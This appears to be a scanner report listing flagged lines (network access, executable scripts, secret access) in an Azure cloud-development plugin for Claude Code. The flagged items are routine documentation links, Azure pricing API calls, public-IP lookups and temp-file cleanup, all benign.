- Executable scriptline 1
Executable file
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-validate/references/scripts/workflow.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/claude-code/plugins/azure-cloud-development/.claude-plugin/plugin.json
harness/claude-code/plugins/azure-cloud-development/skills/az-cost-optimize/SKILL.md
- Network accessline 78
Calculate CPU and memory utilization averages, database throughput patterns, storage access frequency, and Function execution rates. Validate current monthly cost before recommendations by mapping `Resource -> Current SKU -> Estimated month
harness/claude-code/plugins/azure-cloud-development/skills/azure-cli/scripts/setup-identity-federation.sh
- Executable scriptline 1
#!/bin/bash - Dangerous shell operationline 202
trap "rm -f '$tmp'" RETURN - Network accessline 206
{ "name": "${name}", "issuer": "https://token.actions.githubusercontent.com", - Network accessline 207
"name": "${name}", "issuer": "https://token.actions.githubusercontent.com", "audiences": ["api://AzureADTokenExchange"], - Network accessline 208
"issuer": "https://token.actions.githubusercontent.com", - Network accessline 219
{ "name": "${name}", "issuer": "https://token.actions.githubusercontent.com", - Network accessline 220
"name": "${name}", "issuer": "https://token.actions.githubusercontent.com", "subject": "${subject}", - Network accessline 221
"issuer": "https://token.actions.githubusercontent.com",
harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/references/retail-prices-api.md
- Network accessline 3
The [Azure Retail Prices API](https://learn.microsoft.com/en-us/rest/api/cost-management/retail-prices/azure-retail-prices) is **unauthenticated** — no Azure account or subscription needed. - Network accessline 8
https://prices.azure.com/api/retail/prices - Network accessline 13
https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview - Network accessline 23
GET https://prices.azure.com/api/retail/prices?$filter=serviceName eq 'Virtual Machines' and armRegionName eq 'eastus' and armSkuName eq 'Standard_D4s_v5' and priceType eq 'Consumption' - Network accessline 27
curl -s "https://prices.azure.com/api/retail/prices?\$filter=serviceName%20eq%20'Virtual%20Machines'%20and%20armRegionName%20eq%20'eastus'%20and%20armSkuName%20eq%20'Standard_D4s_v5'%20and%20priceType%20eq%20'Consumption'" - Network accessline 31
$filter = "serviceName eq 'Virtual Machines' and armRegionName eq 'eastus' and armSkuName eq 'Standard_D4s_v5' and priceType eq 'Consumption'" $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter" - Network accessline 32
$response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter" - Network accessline 39
GET https://prices.azure.com/api/retail/prices?$filter=serviceName eq 'Virtual Machines' and armRegionName eq 'eastus' and contains(armSkuName, 'Standard_D') and priceType eq 'Consumption' - Network accessline 43
curl -s "https://prices.azure.com/api/retail/prices?\$filter=serviceName%20eq%20'Virtual%20Machines'%20and%20armRegionName%20eq%20'eastus'%20and%20contains(armSkuName,%20'Standard_D')%20and%20priceType%20eq%20'Consumption'" - Network accessline 47
$filter = "serviceName eq 'Virtual Machines' and armRegionName eq 'eastus' and contains(armSkuName, 'Standard_D') and priceType eq 'Consumption'" $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter" - Network accessline 48
$response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter" - Network accessline 55
GET https://prices.azure.com/api/retail/prices?$filter=serviceName eq 'Virtual Machines' and armSkuName eq 'Standard_D4s_v5' and priceType eq 'Reservation' - Network accessline 59
curl -s "https://prices.azure.com/api/retail/prices?\$filter=serviceName%20eq%20'Virtual%20Machines'%20and%20armSkuName%20eq%20'Standard_D4s_v5'%20and%20priceType%20eq%20'Reservation'" - Network accessline 63
$filter = "serviceName eq 'Virtual Machines' and armSkuName eq 'Standard_D4s_v5' and priceType eq 'Reservation'" $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter" - Network accessline 64
$response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter" - Network accessline 72
GET https://prices.azure.com/api/retail/prices?currencyCode='EUR'&$filter=serviceName eq 'Virtual Machines' and armSkuName eq 'Standard_D4s_v5' - Network accessline 76
curl -s "https://prices.azure.com/api/retail/prices?currencyCode='EUR'&\$filter=serviceName%20eq%20'Virtual%20Machines'%20and%20armSkuName%20eq%20'Standard_D4s_v5'" - Network accessline 80
$filter = "serviceName eq 'Virtual Machines' and armSkuName eq 'Standard_D4s_v5'" $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?currencyCode='EUR'&`$filter=$filter" - Network accessline 81
$response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?currencyCode='EUR'&`$filter=$filter" - Network accessline 119
{ "NextPageLink": "https://prices.azure.com:443/api/retail/prices?$filter=...&$skip=1000" }
harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/references/vm-families.md
- Network accessline 5
> **Source**: [Azure VM sizes overview](https://learn.microsoft.com/en-us/azure/virtual-machines/sizes/overview)
harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/references/vm-quotas.md
- Network accessline 91
- Invoke the **azure-quotas** skill for complete quota CLI workflows across all Azure providers - [VM Family Guide](vm-families.md) — Family-to-workload mapping - [Azure VM quotas documentation](https://learn.microsoft.com/en-us/azure/virtu - Network accessline 93
- [Azure VM quotas documentation](https://learn.microsoft.com/en-us/azure/virtual-machines/quotas)
harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/references/vmss-guide.md
- Network accessline 5
> **Note:** This reference provides quick guidance but may become stale. Always verify VMSS features, limitations, and orchestration mode capabilities by fetching the latest documentation from: > - https://learn.microsoft.com/en-us/azure/vi - Network accessline 6
> - https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/overview - Network accessline 7
> - https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-autoscale-overview - Network accessline 8
> - https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/orchestration-modes-api-comparison - Network accessline 62
- Use a **cool-down period** (default 5 min) to avoid flapping - Scale out aggressively, scale in conservatively (asymmetric rules) - Monitor with [Azure Monitor autoscale diagnostics](https://learn.microsoft.com/en-us/azure/azure-monitor/a - Network accessline 64
- Monitor with [Azure Monitor autoscale diagnostics](https://learn.microsoft.com/en-us/azure/azure-monitor/autoscale/autoscale-best-practices) - Network accessline 92
- [VMSS orchestration modes](https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-orchestration-modes) - Network accessline 93
- [Autoscale best practices](https://learn.microsoft.com/en-us/azure/azure-monitor/autoscale/autoscale-best-practices) - Network accessline 94
- [VMSS networking](https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-networking) - Network accessline 95
- [VMSS Flexible portal quickstart](https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/flexible-virtual-machine-scale-sets-portal)
harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/workflows/capacity-reservation/references/association-disassociation.md
- Network accessline 61
Existing VMSS can be associated using `az vmss update` similarly to VMs. Regional VMSS must be deallocated first. Zonal VMSS can be associated without deallocating, but this is currently a [Preview feature](https://learn.microsoft.com/en-us - Network accessline 104
- [Associate a VM to a Capacity Reservation Group](https://learn.microsoft.com/en-us/azure/virtual-machines/capacity-reservation-associate-vm) - Network accessline 105
- [Remove/disassociate a VM from a Capacity Reservation Group](https://learn.microsoft.com/en-us/azure/virtual-machines/capacity-reservation-remove-vm) - Network accessline 106
- [Remove/disassociate a VMSS from a Capacity Reservation Group](https://learn.microsoft.com/en-us/azure/virtual-machines/capacity-reservation-remove-virtual-machine-scale-set)
harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/workflows/capacity-reservation/references/capacity-reservation-overview.md
harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/workflows/essential-machine-management/essential-machine-management.md
- Network accessline 51
GET https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.ManagedOps/managedOps/default?api-version=2025-07-28-preview - Network accessline 81
For common EMM issues, refer to the official documentation: - [Troubleshoot Essential Machine Management (Preview)](https://learn.microsoft.com/en-us/azure/operations/configuration-enrollment-troubleshoot) - Network accessline 82
- [Troubleshoot Essential Machine Management (Preview)](https://learn.microsoft.com/en-us/azure/operations/configuration-enrollment-troubleshoot)
harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/workflows/essential-machine-management/references/emm-enable-flow.md
- Network accessline 33
az rest --method GET --url "https://graph.microsoft.com/v1.0/me" --query id -o tsv - Network accessline 39
GET https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01&$filter=assignedTo('{objectId}') - Network accessline 47
GET https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.Authorization/roleDefinitions?api-version=2022-04-01 - Network accessline 76
GET https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01&$filter=assignedTo('{uamiPrincipalId}')
harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/workflows/essential-machine-management/references/emm-overview.md
harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/examples/bicep/README.md
harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/examples/bicep/main.bicep
- Access to secretsline 139
[Credential-related source omitted]
harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/examples/terraform/README.md
- Access to secretsline 9
[Credential-related source omitted] - Network accessline 14
MY_IP=$(curl -s ifconfig.me)/32 # your current public IP, locked to /32 - Access to secretsline 16
[Credential-related source omitted] - Access to secretsline 17
[Credential-related source omitted] - Access to secretsline 51
[Credential-related source omitted]
harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/references/delivery-options/github-pr.md
- Network accessline 7
1. **Repo** — accept any of: - `owner/name` (e.g., `myorg/azure-infra`) - Full URL (e.g., `https://github.com/myorg/azure-infra`) - Network accessline 8
- `owner/name` (e.g., `myorg/azure-infra`) - Full URL (e.g., `https://github.com/myorg/azure-infra`) - Local checkout path (e.g., `~/source/azure-infra`) — skips clone - Network accessline 9
- Full URL (e.g., `https://github.com/myorg/azure-infra`) - Network accessline 76
> ✅ Opened PR: https://github.com/myorg/azure-infra/pull/42
harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/references/delivery-options/save-local.md
- Access to secretsline 47
[Credential-related source omitted]
harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/references/depth-probe/beginner.md
- Access to secretsline 13
[Credential-related source omitted] - Network accessline 14
- **VNet:** create new `<vm-name>-vnet` with `10.0.0.0/16` - **Subnet:** `default` with `10.0.0.0/24` - **NSG:** create new, allow SSH 22 (Linux) or RDP 3389 (Windows) from **the user's current public IP** (detect via `curl -s ifconfig.me` - Network accessline 15
- **Subnet:** `default` with `10.0.0.0/24` - **NSG:** create new, allow SSH 22 (Linux) or RDP 3389 (Windows) from **the user's current public IP** (detect via `curl -s ifconfig.me` or equivalent) — only fall back to `*` if detection fails, - Network accessline 16
- **NSG:** create new, allow SSH 22 (Linux) or RDP 3389 (Windows) from **the user's current public IP** (detect via `curl -s ifconfig.me` or equivalent) — only fall back to `*` if detection fails, and always flag the chosen source in the Pl
harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/references/depth-probe/networking-deep.md
- Network accessline 7
| VNet | "Existing VNet, or new?" | If existing: ask name + RG; offer to list via `network_vnet_list` MCP or `az network vnet list` | | Subnet sizing | "Subnet CIDR?" | `/24` if new | | NSG | "Inbound rules: default (SSH/RDP from your IP) o - Network accessline 8
| Subnet sizing | "Subnet CIDR?" | `/24` if new | | NSG | "Inbound rules: default (SSH/RDP from your IP) or paste a rule set?" | Restrict source to user's current public IP — fetch via `curl -s ifconfig.me` if not provided | | Public IP | " - Network accessline 9
| NSG | "Inbound rules: default (SSH/RDP from your IP) or paste a rule set?" | Restrict source to user's current public IP — fetch via `curl -s ifconfig.me` if not provided |
harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/references/output-adapters/az-cli.md
harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/references/output-adapters/bicep.md
harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/references/output-adapters/terraform.md
harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/references/plan-card.md
- Access to secretsline 32
[Credential-related source omitted]
harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-recommender/references/web-fetch-policy.md
- Network accessline 17
## What to fetch (Step 2 — VMSS) - Network accessline 20
https://learn.microsoft.com/azure/virtual-machine-scale-sets/overview - Network accessline 21
https://learn.microsoft.com/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-autoscale-overview - Network accessline 24
## What to fetch (Step 3 — VM family) - Network accessline 27
https://learn.microsoft.com/azure/virtual-machines/sizes/<family-category>/<series-name> - Network accessline 30
Examples: - B-series: `https://learn.microsoft.com/azure/virtual-machines/sizes/general-purpose/b-family` - Network accessline 31
- B-series: `https://learn.microsoft.com/azure/virtual-machines/sizes/general-purpose/b-family` - D-series: `https://learn.microsoft.com/azure/virtual-machines/sizes/general-purpose/ddsv5-series` - GPU: `https://learn.microsoft.com/azure/vi - Network accessline 32
- D-series: `https://learn.microsoft.com/azure/virtual-machines/sizes/general-purpose/ddsv5-series` - Network accessline 33
- GPU: `https://learn.microsoft.com/azure/virtual-machines/sizes/gpu-accelerated/nc-family` - Network accessline 35
For Spot, also: `https://learn.microsoft.com/azure/virtual-machine-scale-sets/use-spot`.
harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-recommender/vm-recommender.md
- Network accessline 56
https://learn.microsoft.com/en-us/azure/virtual-machines/sizes/<family-category>/<series-name> - Network accessline 59
For Spot eligibility, also fetch `https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/use-spot`. If any fetch fails, follow [web-fetch-policy.md](references/web-fetch-policy.md). Same SKUs apply to single VMs and VMSS. - Network accessline 101
- Compare reservation / savings plan pricing (`priceType eq 'Reservation'` in the API) - Suggest [Azure Pricing Calculator](https://azure.microsoft.com/pricing/calculator/) for full estimates - Network accessline 102
- Suggest [Azure Pricing Calculator](https://azure.microsoft.com/pricing/calculator/) for full estimates - Network accessline 103
- For VMSS: [autoscale best practices](https://learn.microsoft.com/azure/azure-monitor/autoscale/autoscale-best-practices), [VMSS networking](https://learn.microsoft.com/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-networking
harness/claude-code/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/constraints/networking-connectivity.md
- Network accessline 8
| **Developer SKU** | Does NOT require `AzureBastionSubnet` or public IP. Deploys as shared infrastructure. Only connects to VMs in the same VNet. | | **Public IP** | Requires Standard SKU public IP with Static allocation. | | **NSG** | NSG - Network accessline 9
| **Public IP** | Requires Standard SKU public IP with Static allocation. | | **NSG** | NSG on `AzureBastionSubnet` requires mandatory inbound (HTTPS 443 from Internet, GatewayManager 443) and outbound rules (see [Bastion NSG docs](https:// - Network accessline 10
| **NSG** | NSG on `AzureBastionSubnet` requires mandatory inbound (HTTPS 443 from Internet, GatewayManager 443) and outbound rules (see [Bastion NSG docs](https://learn.microsoft.com/azure/bastion/bastion-nsg)). |
harness/claude-code/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/constraints/networking-core.md
- Network accessline 32
|-------------|------------| | **GatewaySubnet** | NSGs are not supported on `GatewaySubnet`. Associating an NSG may cause VPN and ExpressRoute gateways to stop functioning. | | **AzureBastionSubnet** | NSG on Bastion subnet requires specif - Network accessline 33
| **GatewaySubnet** | NSGs are not supported on `GatewaySubnet`. Associating an NSG may cause VPN and ExpressRoute gateways to stop functioning. | | **AzureBastionSubnet** | NSG on Bastion subnet requires specific inbound/outbound rules (se - Network accessline 34
| **AzureBastionSubnet** | NSG on Bastion subnet requires specific inbound/outbound rules (see [Azure Bastion NSG](https://learn.microsoft.com/azure/bastion/bastion-nsg)). |
harness/claude-code/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/ai-ml.md
- Network accessline 11
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Cognitive Services | [2025-06-01](https://learn.microsoft.com/azure/templates/micro - Network accessline 12
|----------|----------------|------------------|--------------|------------| | Cognitive Services | [2025-06-01](https://learn.microsoft.com/azure/templates/microsoft.cognitiveservices/accounts?pivots=deployment-language-bicep) | [Custom su - Network accessline 13
| Cognitive Services | [2025-06-01](https://learn.microsoft.com/azure/templates/microsoft.cognitiveservices/accounts?pivots=deployment-language-bicep) | [Custom subdomain names](https://learn.microsoft.com/azure/ai-services/cognitive-servic - Network accessline 14
| ML Workspace | [2025-06-01](https://learn.microsoft.com/azure/templates/microsoft.machinelearningservices/workspaces?pivots=deployment-language-bicep) | [ML Services](https://learn.microsoft.com/azure/templates/microsoft.machinelearningse - Network accessline 15
| AI Search | [2025-05-01](https://learn.microsoft.com/azure/templates/microsoft.search/searchservices?pivots=deployment-language-bicep) | [Service limits](https://learn.microsoft.com/azure/search/search-limits-quotas-capacity) | [Naming ru
harness/claude-code/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/compute-apps.md
- Network accessline 15
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | App Service | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.we - Network accessline 16
|----------|----------------|------------------|--------------|------------| | App Service | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.web/sites?pivots=deployment-language-bicep) | [App Service overview](https://lea - Network accessline 17
| App Service | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.web/sites?pivots=deployment-language-bicep) | [App Service overview](https://learn.microsoft.com/azure/app-service/overview) | [Naming rules](https://learn.m - Network accessline 18
| App Service Plan | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.web/serverfarms?pivots=deployment-language-bicep) | [Plan overview](https://learn.microsoft.com/azure/app-service/overview-hosting-plans) | [Naming rule - Network accessline 19
| Container App | [2025-01-01](https://learn.microsoft.com/azure/templates/microsoft.app/containerapps?pivots=deployment-language-bicep) | [Container Apps overview](https://learn.microsoft.com/azure/container-apps/overview) | [Naming rules] - Network accessline 20
| Container Apps Environment | [2025-01-01](https://learn.microsoft.com/azure/templates/microsoft.app/managedenvironments?pivots=deployment-language-bicep) | [Environments overview](https://learn.microsoft.com/azure/container-apps/environme - Network accessline 21
| Container Registry | [2025-04-01](https://learn.microsoft.com/azure/templates/microsoft.containerregistry/registries?pivots=deployment-language-bicep) | [ACR overview](https://learn.microsoft.com/azure/container-registry/container-registr - Network accessline 22
| Function App | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.web/sites?pivots=deployment-language-bicep) | [Functions overview](https://learn.microsoft.com/azure/azure-functions/functions-overview) | [Naming rules](ht - Network accessline 23
| Static Web App | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.web/staticsites?pivots=deployment-language-bicep) | [Static Web Apps overview](https://learn.microsoft.com/azure/static-web-apps/overview) | [Naming rules
harness/claude-code/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/compute-infra.md
- Network accessline 13
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | AKS Cluster | [2025-05-01](https://learn.microsoft.com/azure/templates/microsoft.co - Network accessline 14
|----------|----------------|------------------|--------------|------------| | AKS Cluster | [2025-05-01](https://learn.microsoft.com/azure/templates/microsoft.containerservice/managedclusters?pivots=deployment-language-bicep) | [AKS overvi - Network accessline 15
| AKS Cluster | [2025-05-01](https://learn.microsoft.com/azure/templates/microsoft.containerservice/managedclusters?pivots=deployment-language-bicep) | [AKS overview](https://learn.microsoft.com/azure/aks/intro-kubernetes) | [Naming rules]( - Network accessline 16
| Availability Set | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.compute/availabilitysets?pivots=deployment-language-bicep) | [Overview](https://learn.microsoft.com/azure/virtual-machines/availability-set-overview) | - Network accessline 17
| Managed Disk | [2025-01-02](https://learn.microsoft.com/azure/templates/microsoft.compute/disks?pivots=deployment-language-bicep) | [Managed disks overview](https://learn.microsoft.com/azure/virtual-machines/managed-disks-overview) | [Nam - Network accessline 18
| Virtual Machine | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.compute/virtualmachines?pivots=deployment-language-bicep) | [VMs overview](https://learn.microsoft.com/azure/virtual-machines/overview) | [Naming rules]( - Network accessline 19
| VM Scale Set | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.compute/virtualmachinescalesets?pivots=deployment-language-bicep) | [VMSS overview](https://learn.microsoft.com/azure/virtual-machine-scale-sets/overview) |
harness/claude-code/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/data-analytics.md
- Network accessline 13
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Cosmos DB | [2025-04-15](https://learn.microsoft.com/azure/templates/microsoft.docu - Network accessline 14
|----------|----------------|------------------|--------------|------------| | Cosmos DB | [2025-04-15](https://learn.microsoft.com/azure/templates/microsoft.documentdb/databaseaccounts?pivots=deployment-language-bicep) | [Cosmos DB overvie - Network accessline 15
| Cosmos DB | [2025-04-15](https://learn.microsoft.com/azure/templates/microsoft.documentdb/databaseaccounts?pivots=deployment-language-bicep) | [Cosmos DB overview](https://learn.microsoft.com/azure/cosmos-db/introduction) | [Naming rules] - Network accessline 16
| Data Factory | [2018-06-01](https://learn.microsoft.com/azure/templates/microsoft.datafactory/factories?pivots=deployment-language-bicep) | [ADF overview](https://learn.microsoft.com/azure/data-factory/introduction) | [Naming rules](https - Network accessline 17
| Redis Cache | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.cache/redis?pivots=deployment-language-bicep) | [Redis overview](https://learn.microsoft.com/azure/azure-cache-for-redis/cache-overview) | [Naming rules](htt - Network accessline 18
| Storage Account | [2025-01-01](https://learn.microsoft.com/azure/templates/microsoft.storage/storageaccounts?pivots=deployment-language-bicep) | [Storage overview](https://learn.microsoft.com/azure/storage/common/storage-account-overview) - Network accessline 19
| Synapse Workspace | [2021-06-01](https://learn.microsoft.com/azure/templates/microsoft.synapse/workspaces?pivots=deployment-language-bicep) | [Synapse overview](https://learn.microsoft.com/azure/synapse-analytics/overview-what-is) | [Nami
harness/claude-code/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/data-relational.md
- Network accessline 12
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | SQL Server | [2023-08-01](https://learn.microsoft.com/azure/templates/microsoft.sql - Network accessline 13
|----------|----------------|------------------|--------------|------------| | SQL Server | [2023-08-01](https://learn.microsoft.com/azure/templates/microsoft.sql/servers?pivots=deployment-language-bicep) | [SQL Server overview](https://lea - Network accessline 14
| SQL Server | [2023-08-01](https://learn.microsoft.com/azure/templates/microsoft.sql/servers?pivots=deployment-language-bicep) | [SQL Server overview](https://learn.microsoft.com/azure/azure-sql/database/sql-database-paas-overview) | [Nami - Network accessline 15
| SQL Database | [2023-08-01](https://learn.microsoft.com/azure/templates/microsoft.sql/servers/databases?pivots=deployment-language-bicep) | [SQL Database overview](https://learn.microsoft.com/azure/azure-sql/database/sql-database-paas-ove - Network accessline 16
| MySQL Flexible Server | [2023-12-30](https://learn.microsoft.com/azure/templates/microsoft.dbformysql/flexibleservers?pivots=deployment-language-bicep) | [MySQL overview](https://learn.microsoft.com/azure/mysql/flexible-server/overview) | - Network accessline 17
| PostgreSQL Flexible Server | [2024-08-01](https://learn.microsoft.com/azure/templates/microsoft.dbforpostgresql/flexibleservers?pivots=deployment-language-bicep) | [PostgreSQL overview](https://learn.microsoft.com/azure/postgresql/flexibl
harness/claude-code/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/messaging.md
- Network accessline 11
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Event Grid Topic | [2025-02-15](https://learn.microsoft.com/azure/templates/microso - Network accessline 12
|----------|----------------|------------------|--------------|------------| | Event Grid Topic | [2025-02-15](https://learn.microsoft.com/azure/templates/microsoft.eventgrid/topics?pivots=deployment-language-bicep) | [Event Grid overview]( - Network accessline 13
| Event Grid Topic | [2025-02-15](https://learn.microsoft.com/azure/templates/microsoft.eventgrid/topics?pivots=deployment-language-bicep) | [Event Grid overview](https://learn.microsoft.com/azure/event-grid/overview) | [Naming rules](https - Network accessline 14
| Event Hub | [2024-01-01](https://learn.microsoft.com/azure/templates/microsoft.eventhub/namespaces?pivots=deployment-language-bicep) | [Event Hubs overview](https://learn.microsoft.com/azure/event-hubs/event-hubs-about) | [Naming rules](h - Network accessline 15
| Service Bus | [2024-01-01](https://learn.microsoft.com/azure/templates/microsoft.servicebus/namespaces?pivots=deployment-language-bicep) | [Service Bus overview](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-messagin
harness/claude-code/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/monitoring.md
- Network accessline 10
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Application Insights | [2020-02-02](https://learn.microsoft.com/azure/templates/mic - Network accessline 11
|----------|----------------|------------------|--------------|------------| | Application Insights | [2020-02-02](https://learn.microsoft.com/azure/templates/microsoft.insights/components?pivots=deployment-language-bicep) | [App Insights o - Network accessline 12
| Application Insights | [2020-02-02](https://learn.microsoft.com/azure/templates/microsoft.insights/components?pivots=deployment-language-bicep) | [App Insights overview](https://learn.microsoft.com/azure/azure-monitor/app/app-insights-ove - Network accessline 13
| Log Analytics | [2025-02-01](https://learn.microsoft.com/azure/templates/microsoft.operationalinsights/workspaces?pivots=deployment-language-bicep) | [Log Analytics overview](https://learn.microsoft.com/azure/azure-monitor/logs/log-analyt
harness/claude-code/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/networking-connectivity.md
- Network accessline 14
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Azure Bastion | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft. - Network accessline 15
|----------|----------------|------------------|--------------|------------| | Azure Bastion | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/bastionhosts?pivots=deployment-language-bicep) | [Bastion overview](ht - Network accessline 16
| Azure Bastion | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/bastionhosts?pivots=deployment-language-bicep) | [Bastion overview](https://learn.microsoft.com/azure/bastion/bastion-overview) | [Naming rules](ht - Network accessline 17
| Azure Firewall | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/azurefirewalls?pivots=deployment-language-bicep) | [Firewall overview](https://learn.microsoft.com/azure/firewall/overview) | [Naming rules](https - Network accessline 18
| DNS Zone | [2018-05-01](https://learn.microsoft.com/azure/templates/microsoft.network/dnszones?pivots=deployment-language-bicep) | [Azure DNS overview](https://learn.microsoft.com/azure/dns/dns-overview) | [Naming rules](https://learn.mic - Network accessline 19
| VPN Gateway | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/virtualnetworkgateways?pivots=deployment-language-bicep) | [VPN Gateway overview](https://learn.microsoft.com/azure/vpn-gateway/vpn-gateway-about-vpn - Network accessline 20
| Private DNS Zone | [2024-06-01](https://learn.microsoft.com/azure/templates/microsoft.network/privatednszones?pivots=deployment-language-bicep) | [Private DNS overview](https://learn.microsoft.com/azure/dns/private-dns-overview) | [Naming - Network accessline 21
| Private Endpoint | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/privateendpoints?pivots=deployment-language-bicep) | [PE overview](https://learn.microsoft.com/azure/private-link/private-endpoint-overview) | [
harness/claude-code/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/networking-core.md
- Network accessline 15
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Virtual Network | [2024-07-01](https://learn.microsoft.com/azure/templates/microsof - Network accessline 16
|----------|----------------|------------------|--------------|------------| | Virtual Network | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/virtualnetworks?pivots=deployment-language-bicep) | [VNet overview]( - Network accessline 17
| Virtual Network | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/virtualnetworks?pivots=deployment-language-bicep) | [VNet overview](https://learn.microsoft.com/azure/virtual-network/virtual-networks-overview) - Network accessline 18
| Subnet | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/virtualnetworks/subnets?pivots=deployment-language-bicep) | [Subnets](https://learn.microsoft.com/azure/virtual-network/virtual-network-manage-subnet) | [ - Network accessline 19
| NSG | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/networksecuritygroups?pivots=deployment-language-bicep) | [NSG overview](https://learn.microsoft.com/azure/virtual-network/network-security-groups-overview) - Network accessline 20
| Route Table | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/routetables?pivots=deployment-language-bicep) | [Traffic routing](https://learn.microsoft.com/azure/virtual-network/virtual-networks-udr-overview) | - Network accessline 21
| Network Interface | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/networkinterfaces?pivots=deployment-language-bicep) | [NIC overview](https://learn.microsoft.com/azure/virtual-network/virtual-network-network- - Network accessline 22
| Public IP | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/publicipaddresses?pivots=deployment-language-bicep) | [Public IP overview](https://learn.microsoft.com/azure/virtual-network/ip-services/public-ip-addr - Network accessline 23
